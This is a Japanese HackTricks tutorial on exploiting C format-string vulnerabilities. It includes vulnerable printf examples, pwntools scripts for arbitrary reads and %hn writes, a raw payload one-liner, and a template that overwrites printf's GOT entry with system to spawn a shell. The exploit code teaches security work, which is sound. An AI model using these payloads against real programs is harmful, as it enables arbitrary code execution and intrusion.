hacktricks/binary-exploitation/format-strings
2024-04-07 02:35:43 +00:00
..
format-strings-template.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:35:43 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:35:43 +00:00

フォーマット文字列

htARTEHackTricks AWS Red Team Expert を通じて、ゼロからヒーローまでAWSハッキングを学びましょう

基本情報

C言語では、printfは文字列を表示するために使用できる関数です。この関数が期待する最初のパラメータは、フォーマッタを含む生のテキストです。期待される次のパラメータは、生のテキストからフォーマッタを置換する値です。

脆弱性が発生するのは、この関数の最初の引数として攻撃者のテキストが使用される場合です。攻撃者は、printfフォーマット文字列の機能を悪用して、任意のアドレス(読み取り可能/書き込み可能)のデータを読み取りおよび書き込みする特別な入力を作成できます。これにより、任意のコードを実行できるようになります。

フォーマッタ:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

例:

  • 脆弱性のある例:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • 通常の使用:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • 引数が不足している場合:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

ポインタへのアクセス

フォーマット %<n>$x 、ここで n は数字を示し、printf に n 番目のパラメータスタックからを選択させることができます。したがって、printf を使用してスタックから4番目のパラメータを読み取りたい場合は、次のようにします

printf("%x %x %x %x")

そして、最初から4番目のパラメータまで読み取ることができます。

または、次のようにすることもできます:

printf("$4%x")

そして、4番目を直接読んでください。

攻撃者がprintfパラメータを制御していることに注意してください。 これは基本的に、printfが呼び出されるときにスタックに彼の入力があることを意味し、つまり、彼はスタックに特定のメモリアドレスを書き込むことができます。

{% hint style="danger" %} この入力を制御する攻撃者は、スタックに任意のアドレスを追加し、printfがそれにアクセスすることができます。次のセクションでは、この動作の使用方法について説明します。 {% endhint %}

任意の読み取り

フォーマッタ $n%s を使用して、printf がそれに続くn番目の位置にあるアドレスを取得し、それを文字列として表示することが可能です0x00が見つかるまで印刷。したがって、バイナリのベースアドレスが 0x8048000 であり、ユーザー入力がスタックの4番目の位置から始まることを知っている場合、バイナリの先頭を次のように印刷することができます

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} アドレス0x8048000を入力の先頭に置くことはできません。なぜなら、そのアドレスの末尾には0x00が連結されるからです。 {% endhint %}

任意の書き込み

フォーマッタ $<num>%n は、スタック内の <num> パラメータに書き込まれたバイト数を指定されたアドレスに書き込みます。攻撃者がprintfを使用して好きなだけ文字を書き込める場合、$<num>%n を使用して任意の数値を任意のアドレスに書き込むことができます。

幸いなことに、数値9999を書き込むには、入力に9999個の "A" を追加する必要はありません。代わりに、フォーマッタ %.<num-write>%<num>$n を使用して、num の位置で指定されたアドレスに数値 <num-write> を書き込むことが可能です。

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

しかし、通常、0x08049724のようなアドレスを書くために(これは一度に書くには巨大な数です)、**$nの代わりに$hn**が使用されます。これにより、2バイトだけを書くことができます。したがって、この操作は2回行われ、アドレスの上位2バイトと下位2バイトの両方に対して1回ずつ行われます。

したがって、この脆弱性により、任意のアドレスに任意の内容を書き込むことができます(任意の書き込み)。

この例では、後で呼び出されるGOTテーブル内の関数アドレス上書きすることが目標となります。これにより、他の任意の書き込みを実行する手法を悪用できます:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

ユーザーから引数受け取る関数アドレスを**system** 関数ポイントすることになります。
前述のように、アドレスを書くためには通常2つのステップが必要ですまず、アドレスの2バイトを書き込み、その後残りの2バイトを書き込みます。これを行うには**$hn**が使用されます。

  • HOBはアドレスの上位2バイトを指します
  • LOBはアドレスの下位2バイトを指します

その後、フォーマット文字列の動作のため、[HOB、LOB]のうち最小の方を最初に書き込む必要があります。

HOB < LOBの場合
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

HOB > LOBの場合
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntoolsのテンプレート

この種の脆弱性に対するエクスプロイトを準備するためのテンプレートを以下で見つけることができます:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

または、こちらからこの基本的な例を参照してください。

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

バイナリオーバーフローへのフォーマット文字列

フォーマット文字列の脆弱性の書き込みアクションを悪用して、スタックのアドレスに書き込みバッファオーバーフロー型の脆弱性を悪用することが可能です。

その他の例と参考文献